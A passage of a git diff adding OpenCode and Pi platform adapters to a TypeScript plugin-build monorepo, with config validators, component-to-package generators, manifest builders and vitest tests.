Platform 时可声明的公开选项。 */ +export interface OpenCodePlatformOptions { + /** 覆盖当前 Platform 的兼容性严格度。 */ + readonly strict?: boolean; + /** 只影响 acplugin 拥有的 workspace 配置文件,不允许任意透传。 */ + readonly workspace?: OpenCodeWorkspaceOptions; +} diff --git a/packages/platforms/opencode/src/validator.ts b/packages/platforms/opencode/src/validator.ts new file mode 100644 index 0000000..89e0d5a --- /dev/null +++ b/packages/platforms/opencode/src/validator.ts @@ -0,0 +1,65 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { JsonValue, PlatformValidateContext } from '@acplugin/core'; +import { WORKSPACE_CONFIG_PATH } from './config-document.js'; + +/** OpenCode workspace 配置由 Platform/Extension 允许生成的根字段。 */ +const CONFIG_FIELDS = new Set(['$schema', 'mcp']); + +/** JSON 对象的运行时只读索引类型。 */ +type JsonRecord = Record; + +/** + * 判断未知值是否为非数组 JSON 对象。 + * + * @param value 从候选配置解析的未知值。 + * @returns 可以按字段读取时返回 true。 + */ +function isRecord(value: unknown): value is JsonRecord { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +/** + * 向 Core 提交 OpenCode 候选校验错误。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param code 稳定诊断码。 + * @param message 不包含宿主绝对路径的错误信息。 + */ +function report(context: PlatformValidateContext, code: string, message: string): void { + context.reportDiagnostic({ code, severity: 'error', message }); +} + +/** + * 校验 OpenCode workspace 只包含受控资源和按需配置。 + * + * @param context Platform 提供的已物化候选交付单元。 + */ +export async function validateOpenCodeBundle(context: PlatformValidateContext): Promise { + /** 当前候选交付单元的规范 Artifact 路径集合。 */ + const artifacts = new Set(context.candidate.unit.artifacts.map(artifact => artifact.path)); + if (artifacts.has('package.json')) + report(context, 'OPENCODE_PACKAGE_JSON_FORBIDDEN', 'OpenCode workspace delivery must not generate a generic package.json.'); + for (const artifact of artifacts) { + if (artifact === WORKSPACE_CONFIG_PATH || artifact.startsWith('.opencode/') || artifact.startsWith('public/')) + continue; + // Public 文件可以由作者映射到任意安全相对路径;其安全性已由 Core Artifact Registry 保证。 + } + if (!artifacts.has(WORKSPACE_CONFIG_PATH)) + return; + try { + /** 按需配置必须是只包含 Platform/Extension 所有字段的 JSON 对象。 */ + const value: unknown = JSON.parse(await fs.readFile(path.join(context.candidate.root, WORKSPACE_CONFIG_PATH), 'utf8')); + if (!isRecord(value)) + throw new TypeError('Config is not an object.'); + /** field 表示当前配置根字段,用于阻止任意消费工程配置注入。 */ + for (const field of Object.keys(value)) { + if (!CONFIG_FIELDS.has(field)) + report(context, 'OPENCODE_CONFIG_FIELD_UNKNOWN', `Unknown generated OpenCode config field "${field}".`); + } + if (value.mcp !== undefined && !isRecord(value.mcp)) + report(context, 'OPENCODE_MCP_CONFIG_INVALID', 'opencode.json.mcp must be an object.'); + } catch { + report(context, 'OPENCODE_CONFIG_READ_FAILED', 'opencode.json must contain a valid JSON object.'); + } +} diff --git a/packages/platforms/opencode/test/golden/opencode.json b/packages/platforms/opencode/test/golden/opencode.json new file mode 100644 index 0000000..720ece5 --- /dev/null +++ b/packages/platforms/opencode/test/golden/opencode.json @@ -0,0 +1,3 @@ +{ + "$schema": "https://opencode.ai/config.json" +} diff --git a/packages/platforms/opencode/test/platform.test.ts b/packages/platforms/opencode/test/platform.test.ts new file mode 100644 index 0000000..207b1f5 --- /dev/null +++ b/packages/platforms/opencode/test/platform.test.ts @@ -0,0 +1,97 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { executeLifecycle, resolveConfig, type ResolvedConfig } from '@acplugin/core'; +import { openCode } from '../src/index.js'; + +/** 测试结束后统一删除的临时工程根目录。 */ +const temporaryRoots: string[] = []; + +/** OpenCode 配置 Golden 的固定目录。 */ +const goldenRoot = path.join(import.meta.dirname, 'golden'); + +/** 创建覆盖 OpenCode 三类原生 workspace 资源的规范工程。 */ +async function createProject(): Promise { + /** 当前用例独占的工程根目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-opencode-platform-')); + temporaryRoots.push(root); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/review'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/release.md'), '---\ndescription: Prepare a release.\n---\nPrepare release {{arguments}}.\n'); + await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), '---\ndescription: Review a change.\n---\nReview the change.\n'); + await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), '---\ndescription: Review code.\nmodel: inherit\ncapabilities:\n - filesystem:read\n - search\n---\nReview code.\n'); + return root; +} + +/** 解析仅包含 OpenCode Platform 的严格测试配置。 */ +function resolvedConfig(root: string): ResolvedConfig { + /** 启用官方配置 Schema 的 workspace 解析结果。 */ + const result = resolveConfig({ + name: 'release-tools', + version: '1.2.3', + description: 'Release workflow tools.', + platforms: [openCode({ workspace: { schema: true } })], + }, path.join(root, 'acplugin.config.ts'), 'build', 'production', { defaultPlatforms: [openCode()] }); + expect(result.diagnostics).toEqual([]); + return result.config!; +} + +afterEach(async () => { + await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('OpenCode Platform', () => { + it('loads the generated config and discovers workspace Commands, Skills, and Agents', async () => { + /** 覆盖全部静态 workspace 资源的规范工程。 */ + const root = await createProject(); + /** 经过配置加载边界和 Platform Validator 的构建结果。 */ + const result = await executeLifecycle({ + config: resolvedConfig(root), + /** 纯 Markdown Platform Fixture 不加载 TypeScript descriptor。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + /** OpenCode workspace 的最终输出根。 */ + const output = path.join(root, 'dist/opencode/workspace'); + /** OpenCode 会在 workspace 启动时读取的配置对象。 */ + const config = JSON.parse(await fs.readFile(path.join(output, 'opencode.json'), 'utf8')) as Record; + /** 按 OpenCode 官方发现目录模拟加载到的资源路径。 */ + const discovered = (await fs.readdir(path.join(output, '.opencode'), { recursive: true })) + .map(entry => String(entry).split(path.sep).join('/')) + .filter(entry => entry.endsWith('.md')) + .sort((a, b) => a.localeCompare(b, 'en')); + + expect(result.success).toBe(true); + expect(config).toEqual({ $schema: 'https://opencode.ai/config.json' }); + expect(await fs.readFile(path.join(output, 'opencode.json'))).toEqual(await fs.readFile(path.join(goldenRoot, 'opencode.json'))); + expect(discovered).toEqual([ + 'agents/reviewer.md', + 'commands/release.md', + 'skills/review/SKILL.md', + ]); + await expect(fs.access(path.join(output, 'package.json'))).rejects.toThrow(); + }); + + it('does not materialize an empty workspace config', async () => { + /** 空工程仍需建立 src 根以满足 Scanner 约定。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-opencode-platform-')); + temporaryRoots.push(root); + await fs.mkdir(path.join(root, 'src')); + /** 默认选项下不创建 opencode.json 的构建结果。 */ + const result = resolveConfig({ + name: 'empty-workspace', version: '1.0.0', description: 'Empty workspace.', platforms: [openCode()], + }, path.join(root, 'acplugin.config.ts'), 'build', 'production', { defaultPlatforms: [openCode()] }); + /** 空配置生命周期执行结果。 */ + const build = await executeLifecycle({ + config: result.config!, + /** 空 Workspace Fixture 不加载 TypeScript descriptor。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + + expect(build.success, JSON.stringify(build.diagnostics)).toBe(true); + await expect(fs.access(path.join(root, 'dist/opencode/workspace/opencode.json'))).rejects.toThrow(); + }); +}); diff --git a/packages/platforms/opencode/tsconfig.json b/packages/platforms/opencode/tsconfig.json new file mode 100644 index 0000000..3ae4da2 --- /dev/null +++ b/packages/platforms/opencode/tsconfig.json @@ -0,0 +1,4 @@ +{ + "extends": "../../../tsconfig.base.json", + "include": ["src/**/*.ts", "test/**/*.ts"] +} diff --git a/packages/platforms/opencode/tsdown.config.ts b/packages/platforms/opencode/tsdown.config.ts new file mode 100644 index 0000000..847c709 --- /dev/null +++ b/packages/platforms/opencode/tsdown.config.ts @@ -0,0 +1,12 @@ +import { defineConfig } from 'tsdown'; + +/** OpenCode Platform 使用统一 Node 20 ESM 与声明输出。 */ +export default defineConfig({ + entry: ['./src/index.ts'], + format: ['esm'], + platform: 'node', + target: 'node20', + dts: { generator: 'oxc' }, + clean: true, + sourcemap: false, +}); diff --git a/packages/compiler-codex/package.json b/packages/platforms/pi/package.json similarity index 86% rename from packages/compiler-codex/package.json rename to packages/platforms/pi/package.json index f1b9b0f..e605b6e 100644 --- a/packages/compiler-codex/package.json +++ b/packages/platforms/pi/package.json @@ -1,5 +1,5 @@ { - "name": "@acplugin/compiler-codex", + "name": "@acplugin/platform-pi", "version": "0.0.0", "private": true, "type": "module", @@ -14,7 +14,7 @@ "devDependencies": { "@types/node": "catalog:", "tsdown": "catalog:", - "typescript": "catalog:", + "@typescript/native": "catalog:", "vitest": "catalog:" } } diff --git a/packages/platforms/pi/src/components.ts b/packages/platforms/pi/src/components.ts new file mode 100644 index 0000000..73b8765 --- /dev/null +++ b/packages/platforms/pi/src/components.ts @@ -0,0 +1,189 @@ +import { + bytesArtifact, + markdownWithFrontmatter, + type ArtifactInput, + type PlatformComponentValidationContext, + type PlatformGenerateContext, + type PlatformPrepareContext, + type PluginProject, +} from '@acplugin/core'; + +/** Pi 1.0 暂不开放未经官方 package 契约确认的 Component 专属字段。 */ +const COMPONENT_FIELDS = new Set(); + +/** 最终 Pi Skill 命名空间中的一项规范来源。 */ +interface GeneratedSkillIdentity { + /** 最终目录 ID。 */ + readonly id: string; + /** 用于诊断的规范 Component 身份。 */ + readonly subject: string; +} + +/** + * 校验 Pi Component 专属字段,阻止任意 Frontmatter 透传。 + * + * @param context Core 规范化并冻结后的字段校验上下文。 + */ +export function validatePiComponentFields(context: PlatformComponentValidationContext): void { + for (const field of Object.keys(context.fields)) { + if (!COMPONENT_FIELDS.has(field)) { + context.reportDiagnostic({ + code: 'PI_COMPONENT_FIELD_UNKNOWN', + severity: 'error', + message: `Unknown Pi ${context.component.kind} field "${field}".`, + fieldPath: ['platforms', 'pi', field], + }); + } + } +} + +/** + * 列出全部规范 Skill 与 Agent fallback 最终占用的 Pi Skill ID。 + * + * @param project 已完成规范扫描的 Plugin 工程。 + * @returns 保持 Component 类型与扫描顺序的生成身份。 + */ +function generatedSkillIdentities(project: PluginProject): readonly GeneratedSkillIdentity[] { + return [ + ...project.skills.map(skill => ({ id: skill.id, subject: `skill:${skill.id}` })), + ...project.agents.map(agent => ({ id: `agent-${agent.id}`, subject: `agent:${agent.id}` })), + ]; +} + +/** + * 在 prepare 阶段拒绝规范 ID 与 Agent fallback ID 冲突。 + * + * @param context Pi Platform prepare 上下文。 + */ +export function validateGeneratedSkillIds(context: PlatformPrepareContext): void { + /** 已经占用最终 ID 的首个规范 Component。 */ + const owners = new Map(); + for (const identity of generatedSkillIdentities(context.project)) { + /** npm package 在跨平台文件系统上采用大小写不敏感冲突规则。 */ + const key = identity.id.toLocaleLowerCase('en-US'); + /** 已经占用同一最终 ID 的来源。 */ + const owner = owners.get(key); + if (owner !== undefined) { + context.reportDiagnostic({ + code: 'PI_GENERATED_SKILL_ID_COLLISION', + severity: 'error', + message: `${owner.subject} and ${identity.subject} both generate Pi Skill ID "${identity.id}".`, + hint: 'Rename one canonical Component so every native and fallback Skill ID is unique.', + }); + } else { + owners.set(key, identity); + } + } +} + +/** + * 把规范 Commands、Skills 与 Agents 转换为 Pi package 资源。 + * + * @param context Platform generateBundle 生命周期上下文。 + * @returns 确定排序且尚未进入 DeliveryUnit Registry 的 Artifact 输入。 + */ +export function generateComponentArtifacts(context: PlatformGenerateContext): ArtifactInput[] { + /** 当前 Platform 累计生成的 Component Artifact。 */ + const artifacts: ArtifactInput[] = []; + for (const command of context.project.commands) { + artifacts.push(bytesArtifact(`prompts/${command.id}.md`, markdownWithFrontmatter({ + 'description': command.description, + 'argument-hint': command.argumentHint, + }, command.body.replaceAll('{{arguments}}', '$ARGUMENTS')))); + context.reportCompatibility({ + subject: `command:${command.id}`, + capability: 'component', + level: 'transform', + transformation: `Prompt Template prompts/${command.id}.md`, + reason: 'Pi packages represent reusable slash prompts as Prompt Templates.', + }); + if (command.argumentHint !== undefined) { + context.reportCompatibility({ + subject: `command:${command.id}`, + capability: 'argumentHint', + level: 'native', + reason: 'Pi Prompt Templates support argument-hint and $ARGUMENTS.', + }); + } + } + + for (const skill of context.project.skills) { + artifacts.push(bytesArtifact(`skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ + name: skill.id, + description: skill.description, + }, skill.body))); + for (const auxiliary of skill.auxiliaryFiles) { + artifacts.push({ + path: `skills/${skill.id}/${auxiliary.path}`, + source: { type: 'file', path: auxiliary.sourcePath }, + mode: auxiliary.mode, + }); + } + context.reportCompatibility({ + subject: `skill:${skill.id}`, + capability: 'component', + level: 'native', + reason: 'Pi packages support Agent Skills natively.', + }); + if (!skill.invocation.user || !skill.invocation.model) { + context.reportCompatibility({ + subject: `skill:${skill.id}`, + capability: 'invocation', + level: 'degraded', + transformation: 'The Skill remains available to both users and the model.', + reason: 'Pi has no verified independent user/model invocation switches for Skills.', + }); + } + } + + for (const agent of context.project.agents) { + /** Agent 使用固定前缀进入 Pi Skill 命名空间。 */ + const id = `agent-${agent.id}`; + /** 降级正文明确区分作者意图与平台无法强制的运行约束。 */ + const guidance = [ + agent.body, + '', + `Intended model class: ${agent.model}.`, + `Intended capabilities: ${agent.capabilities.join(', ') || 'none declared'}.`, + 'Use this Skill as role guidance; Pi does not register it as a dedicated Agent.', + ].join('\n'); + artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ + name: id, + description: agent.description, + }, guidance))); + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'component', + level: 'degraded', + transformation: `Guidance-only Skill ${id}`, + reason: 'Pi packages do not define a first-class static custom Agent resource.', + }); + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'agent.model', + level: 'degraded', + transformation: 'The intended model class is preserved as guidance text.', + reason: 'A fallback Skill cannot enforce an Agent model selection.', + }); + if (agent.capabilities.length > 0) { + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'agent.capabilities', + level: 'degraded', + transformation: 'The intended capabilities are preserved as guidance text.', + reason: 'A fallback Skill cannot enforce an Agent capability boundary.', + }); + } + } + return artifacts; +} + +/** + * 判断 Pi package 是否需要声明 skills 目录。 + * + * @param project 已完成扫描的规范工程。 + * @returns 存在原生 Skill 或 Agent fallback 时返回 true。 + */ +export function hasGeneratedSkills(project: PluginProject): boolean { + return project.skills.length + project.agents.length > 0; +} diff --git a/packages/platforms/pi/src/index.ts b/packages/platforms/pi/src/index.ts new file mode 100644 index 0000000..6eb558d --- /dev/null +++ b/packages/platforms/pi/src/index.ts @@ -0,0 +1,54 @@ +import { definePlatform, type AcpluginPlatform, type JsonObject } from '@acplugin/core'; +import { + generateComponentArtifacts, + validateGeneratedSkillIds, + validatePiComponentFields, +} from './components.js'; +import { createPackageDocument, serializeDocuments, validatePlatformOptions } from './manifest.js'; +import type { PiPlatformOptions } from './types.js'; +import { validatePiBundle } from './validator.js'; + +export type { PiPackageOptions, PiPlatformOptions } from './types.js'; + +/** Pi Platform 的稳定开放 ID。 */ +export const PLATFORM_ID = 'pi' as const; +/** Pi Platform 实现的 Core API 版本。 */ +export const PLATFORM_API_VERSION = '1' as const; + +/** + * 创建独立且可由 Core 品牌校验的 Pi Platform。 + * + * @param options 严格度覆盖和 npm package 选项。 + * @returns Pi package 交付实现。 + */ +export function pi(options: PiPlatformOptions = {}): AcpluginPlatform { + validatePlatformOptions(options); + /** strict 属于 Core 策略,其余字段作为 Platform 生命周期专属配置保存。 */ + const { strict, ...platformOptions } = options; + return definePlatform({ + id: PLATFORM_ID, + apiVersion: PLATFORM_API_VERSION, + deliveryType: 'package', + ...(strict === undefined ? {} : { strict }), + options: platformOptions as unknown as JsonObject, + validateComponentFields: validatePiComponentFields, + /** prepare 先验证 fallback Skill ID,再创建可由 Hooks Adapter patch 的 package Document。 */ + prepare: (context) => { + validateGeneratedSkillIds(context); + return { documents: [createPackageDocument(context)], artifacts: [] }; + }, + /** generateBundle 生成 package 资源并序列化固定 package.json。 */ + generateBundle: context => ({ + id: 'package', + role: 'primary', + type: 'package', + artifacts: [ + ...context.artifacts, + ...generateComponentArtifacts(context), + ...serializeDocuments(context.documents), + ], + }), + /** 最终候选必须满足 npm/Pi discovery 边界且无 workspace 泄漏。 */ + validateBundle: validatePiBundle, + }); +} diff --git a/packages/platforms/pi/src/manifest.ts b/packages/platforms/pi/src/manifest.ts new file mode 100644 index 0000000..e765d79 --- /dev/null +++ b/packages/platforms/pi/src/manifest.ts @@ -0,0 +1,153 @@ +import { + bytesArtifact, + stableJson, + type ArtifactInput, + type DraftDocument, + type JsonObject, + type PlatformPrepareContext, +} from '@acplugin/core'; +import { hasGeneratedSkills } from './components.js'; +import type { PiPackageOptions, PiPlatformOptions } from './types.js'; + +/** Pi npm package 清单的稳定逻辑 Document ID。 */ +export const PACKAGE_MANIFEST_ID = 'package-manifest'; + +/** Pi npm package 清单相对于交付根的固定路径。 */ +export const PACKAGE_MANIFEST_PATH = 'package.json'; + +/** Pi Platform 写入 Document 时使用的固定 owner。 */ +const PLATFORM_OWNER = 'platform:pi' as const; + +/** + * 判断值是否为非空字符串。 + * + * @param value Platform 工厂收到的未知候选。 + * @returns 可安全进入 package.json 时返回 true。 + */ +function isNonEmptyString(value: unknown): value is string { + return typeof value === 'string' && value.trim().length > 0; +} + +/** + * 校验 Pi Platform 选项并拒绝任意 npm 字段透传。 + * + * @param options 用户声明的 Platform 选项。 + */ +export function validatePlatformOptions(options: PiPlatformOptions): void { + /** Platform 顶层只允许 strict 和受控 package 子对象。 */ + const allowed = new Set(['strict', 'package']); + for (const field of Object.keys(options)) { + if (!allowed.has(field)) + throw new TypeError(`Unknown Pi Platform option "${field}".`); + } + if (options.strict !== undefined && typeof options.strict !== 'boolean') + throw new TypeError('Pi strict must be a boolean.'); + if (options.package !== undefined) { + if (options.package === null || typeof options.package !== 'object' || Array.isArray(options.package)) + throw new TypeError('Pi package must be a plain object.'); + /** Pi package 首期只开放官方 Gallery 的 image/video。 */ + for (const field of Object.keys(options.package)) { + if (field !== 'image' && field !== 'video') + throw new TypeError(`Unknown Pi package option "${field}".`); + } + /** field 表示当前 Gallery 可选 URL 或路径字段。 */ + for (const field of ['image', 'video'] as const) { + if (options.package[field] !== undefined && !isNonEmptyString(options.package[field])) + throw new TypeError(`Pi package.${field} must be a non-empty string.`); + } + } +} + +/** + * 报告统一元数据在 Pi npm package 中的最终去向。 + * + * @param context Platform prepare 阶段的元数据报告出口。 + */ +function reportMetadata(context: PlatformPrepareContext): void { + /** npm 原生支持且 acplugin 会稳定写入的字段。 */ + const emitted = ['name', 'version', 'description', 'author', 'homepage', 'repository', 'license', 'keywords'] as const; + /** field 表示当前必填或实际声明的 npm 元数据。 */ + for (const field of emitted) { + if (field === 'name' || field === 'version' || field === 'description' || context.project.metadata[field] !== undefined) { + context.reportMetadata({ + field, + disposition: 'emitted', + output: `${PACKAGE_MANIFEST_PATH}.${field}`, + reason: `npm package.json supports ${field}.`, + }); + } + } + if (context.project.metadata.displayName !== undefined) { + context.reportMetadata({ + field: 'displayName', + disposition: 'omitted', + reason: 'npm package.json and the Pi package contract have no displayName field.', + }); + context.reportDiagnostic({ + code: 'PI_METADATA_DISPLAY_NAME_OMITTED', + severity: 'warning', + message: 'Pi package output omits displayName because the package contract has no matching field.', + fieldPath: ['displayName'], + }); + } +} + +/** + * 创建可由 Hooks Adapter add-only patch 的 Pi npm package manifest。 + * + * @param context Platform prepare 生命周期上下文。 + * @returns 固定 package.json Document。 + */ +export function createPackageDocument(context: PlatformPrepareContext): DraftDocument { + reportMetadata(context); + /** 统一 Plugin 元数据。 */ + const metadata = context.project.metadata; + /** 工厂边界已经验证的 Pi Gallery 选项。 */ + const packageOptions = context.options.package as PiPackageOptions | undefined; + /** `pi-package` 必须存在且与统一关键词稳定去重。 */ + const keywords = [...new Set([...(metadata.keywords ?? []), 'pi-package'])]; + /** Pi package discovery 使用的静态资源清单。 */ + const pi: Record = { + ...(hasGeneratedSkills(context.project) ? { skills: ['./skills'] } : {}), + ...(context.project.commands.length > 0 ? { prompts: ['./prompts'] } : {}), + ...(packageOptions?.image === undefined ? {} : { image: packageOptions.image }), + ...(packageOptions?.video === undefined ? {} : { video: packageOptions.video }), + }; + /** npm 支持的统一元数据和 Pi discovery 配置。 */ + const value: JsonObject = { + name: metadata.name, + version: metadata.version, + description: metadata.description, + type: 'module', + keywords, + ...(metadata.author === undefined ? {} : { author: metadata.author }), + ...(metadata.homepage === undefined ? {} : { homepage: metadata.homepage }), + ...(metadata.repository === undefined ? {} : { repository: metadata.repository }), + ...(metadata.license === undefined ? {} : { license: metadata.license }), + pi, + } as unknown as JsonObject; + return { + id: PACKAGE_MANIFEST_ID, + path: PACKAGE_MANIFEST_PATH, + format: 'json', + owner: PLATFORM_OWNER, + value, + extensionPoints: [['pi', 'extensions']], + }; +} + +/** + * 序列化完成 Adapter patch 的 Pi package manifest。 + * + * @param documents 当前 Platform Draft 的完整 Document 列表。 + * @returns 固定 package.json Artifact。 + */ +export function serializeDocuments(documents: readonly DraftDocument[]): ArtifactInput[] { + /** 按逻辑 ID 查找唯一 npm package manifest。 */ + const manifest = documents.find(document => document.id === PACKAGE_MANIFEST_ID); + if (!manifest || manifest.path !== PACKAGE_MANIFEST_PATH || manifest.format !== 'json') + throw new Error('Pi Platform Draft is missing its canonical package manifest Document.'); + if (documents.length !== 1) + throw new Error('Pi Platform received an unknown Document.'); + return [bytesArtifact(PACKAGE_MANIFEST_PATH, stableJson(manifest.value))]; +} diff --git a/packages/platforms/pi/src/types.ts b/packages/platforms/pi/src/types.ts new file mode 100644 index 0000000..b6222e2 --- /dev/null +++ b/packages/platforms/pi/src/types.ts @@ -0,0 +1,15 @@ +/** Pi npm package gallery 的受控展示选项。 */ +export interface PiPackageOptions { + /** 相对 package 根或远程 URL 的展示图片。 */ + readonly image?: string; + /** 远程演示视频 URL。 */ + readonly video?: string; +} + +/** 创建 Pi Platform 时可声明的公开选项。 */ +export interface PiPlatformOptions { + /** 覆盖当前 Platform 的兼容性严格度。 */ + readonly strict?: boolean; + /** 只影响 acplugin 生成的 Pi package manifest。 */ + readonly package?: PiPackageOptions; +} diff --git a/packages/platforms/pi/src/validator.ts b/packages/platforms/pi/src/validator.ts new file mode 100644 index 0000000..bd3333b --- /dev/null +++ b/packages/platforms/pi/src/validator.ts @@ -0,0 +1,115 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { JsonValue, PlatformValidateContext } from '@acplugin/core'; +import { PACKAGE_MANIFEST_PATH } from './manifest.js'; + +/** acplugin 允许写入 Pi package.json 的固定根字段。 */ +const PACKAGE_FIELDS = new Set([ + 'name', 'version', 'description', 'type', 'author', 'homepage', 'repository', 'license', 'keywords', 'pi', +]); + +/** Pi discovery 对象允许的固定字段。 */ +const PI_FIELDS = new Set(['extensions', 'skills', 'prompts', 'themes', 'image', 'video']); + +/** JSON 对象的运行时只读索引类型。 */ +type JsonRecord = Record; + +/** + * 判断未知值是否为非数组 JSON 对象。 + * + * @param value 从候选清单解析的未知值。 + * @returns 可以按字段读取时返回 true。 + */ +function isRecord(value: unknown): value is JsonRecord { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +/** + * 向 Core 提交 Pi package 候选校验错误。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param code 稳定诊断码。 + * @param message 不包含宿主绝对路径的错误信息。 + */ +function report(context: PlatformValidateContext, code: string, message: string): void { + context.reportDiagnostic({ code, severity: 'error', message }); +} + +/** + * 校验一个 Pi discovery 路径数组安全且有对应 Artifact。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param artifacts 当前 Artifact 路径集合。 + * @param field Pi discovery 字段名。 + * @param value 待验证的数组值。 + */ +function validateDiscoveryPaths( + context: PlatformValidateContext, + artifacts: ReadonlySet, + field: string, + value: JsonValue, +): void { + if (!Array.isArray(value) || value.length === 0 || value.some(item => typeof item !== 'string' || !item.startsWith('./'))) { + report(context, 'PI_DISCOVERY_PATH_INVALID', `pi.${field} must contain safe package-root paths.`); + return; + } + /** reference 表示当前 Pi package discovery 根。 */ + for (const reference of value as readonly string[]) { + /** 去掉 `./` 和尾部斜线后的 Artifact 路径前缀。 */ + const target = reference.slice(2).replace(/\/+$/u, ''); + if (target === '' || target === '..' || target.startsWith('../') + || ![...artifacts].some(artifact => artifact === target || artifact.startsWith(`${target}/`))) { + report(context, 'PI_DISCOVERY_PATH_MISSING', `pi.${field} references a missing package resource.`); + } + } +} + +/** + * 校验 Pi npm package 不泄漏 workspace/private 字段且能发现全部资源。 + * + * @param context Platform 提供的已物化候选交付单元。 + */ +export async function validatePiBundle(context: PlatformValidateContext): Promise { + /** 当前候选交付单元的规范 Artifact 路径集合。 */ + const artifacts = new Set(context.candidate.unit.artifacts.map(artifact => artifact.path)); + /** 从候选根加载且仍需严格校验的 package manifest。 */ + let manifest: JsonRecord; + try { + /** JSON.parse 返回的未知值必须继续验证对象形态。 */ + const value: unknown = JSON.parse(await fs.readFile(path.join(context.candidate.root, PACKAGE_MANIFEST_PATH), 'utf8')); + if (!isRecord(value)) + throw new TypeError('Manifest is not an object.'); + manifest = value; + } catch { + report(context, 'PI_PACKAGE_READ_FAILED', 'package.json must contain a JSON object.'); + return; + } + /** field 表示当前 package.json 根字段,用于阻止 workspace/private 泄漏。 */ + for (const field of Object.keys(manifest)) { + if (!PACKAGE_FIELDS.has(field)) + report(context, 'PI_PACKAGE_FIELD_UNKNOWN', `Unknown generated Pi package field "${field}".`); + } + if (Object.hasOwn(manifest, 'private') || Object.hasOwn(manifest, 'workspaces')) + report(context, 'PI_PACKAGE_WORKSPACE_LEAK', 'Pi delivery package must not contain private or workspaces.'); + if (typeof manifest.name !== 'string' || manifest.name.trim().length === 0 + || typeof manifest.version !== 'string' || manifest.version.trim().length === 0 + || typeof manifest.description !== 'string' || manifest.description.trim().length === 0) { + report(context, 'PI_PACKAGE_METADATA_INVALID', 'Pi package requires non-empty name, version, and description.'); + } + if (!Array.isArray(manifest.keywords) || !manifest.keywords.includes('pi-package')) + report(context, 'PI_PACKAGE_KEYWORD_MISSING', 'Pi package keywords must include pi-package.'); + if (!isRecord(manifest.pi)) { + report(context, 'PI_DISCOVERY_CONFIG_INVALID', 'package.json.pi must be an object.'); + return; + } + /** field 表示当前 Pi discovery 字段,用于拒绝任意 package loader 配置。 */ + for (const field of Object.keys(manifest.pi)) { + if (!PI_FIELDS.has(field)) + report(context, 'PI_DISCOVERY_FIELD_UNKNOWN', `Unknown generated Pi discovery field "${field}".`); + } + /** field 表示当前可能由 Platform 或 Hooks Extension 生成的资源目录数组。 */ + for (const field of ['skills', 'prompts', 'extensions'] as const) { + if (manifest.pi[field] !== undefined) + validateDiscoveryPaths(context, artifacts, field, manifest.pi[field]); + } +} diff --git a/packages/platforms/pi/test/platform.test.ts b/packages/platforms/pi/test/platform.test.ts new file mode 100644 index 0000000..e143438 --- /dev/null +++ b/packages/platforms/pi/test/platform.test.ts @@ -0,0 +1,113 @@ +import { spawn } from 'node:child_process'; +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { executeLifecycle, resolveConfig, type ResolvedConfig } from '@acplugin/core'; +import { pi } from '../src/index.js'; + +/** 测试结束后统一删除的临时工程根目录。 */ +const temporaryRoots: string[] = []; + +/** 在指定目录运行 pnpm,并在失败时保留完整诊断。 */ +async function runPnpm(cwd: string, args: readonly string[]): Promise { + return new Promise((resolve, reject) => { + /** 不经过 Shell 插值的 pnpm 子进程。 */ + const child = spawn('pnpm', [...args], { cwd, stdio: ['ignore', 'pipe', 'pipe'] }); + /** pnpm 标准输出。 */ + let stdout = ''; + /** pnpm 标准错误。 */ + let stderr = ''; + child.stdout.setEncoding('utf8'); + child.stderr.setEncoding('utf8'); + child.stdout.on('data', (chunk: string) => { + stdout += chunk; + }); + child.stderr.on('data', (chunk: string) => { + stderr += chunk; + }); + child.once('error', reject); + child.once('exit', (code) => { + if (code === 0) + resolve(stdout); + else + reject(new Error(`pnpm ${args.join(' ')} failed (${code ?? 'signal'}):\n${stdout}${stderr}`)); + }); + }); +} + +/** 创建同时包含 Pi Skill 和 Prompt Template 的规范工程。 */ +async function createProject(): Promise { + /** 当前用例独占的工程根目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-pi-platform-')); + temporaryRoots.push(root); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/review'), { recursive: true }); + await fs.mkdir(path.join(root, 'public/assets'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/release.md'), '---\ndescription: Prepare a release.\nargumentHint: \n---\nPrepare release {{arguments}}.\n'); + await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), '---\ndescription: Review a change.\n---\nReview the change.\n'); + await fs.writeFile(path.join(root, 'public/assets/cover.png'), Buffer.from([137, 80, 78, 71])); + return root; +} + +/** 解析仅包含 Pi Platform 的严格测试配置。 */ +function resolvedConfig(root: string): ResolvedConfig { + /** 带 Gallery 图片和 npm 元数据的配置解析结果。 */ + const result = resolveConfig({ + name: 'release-tools', + version: '1.2.3', + description: 'Release workflow tools.', + author: { name: 'TokenRoll' }, + license: 'MIT', + platforms: [pi({ package: { image: './assets/cover.png' } })], + }, path.join(root, 'acplugin.config.ts'), 'build', 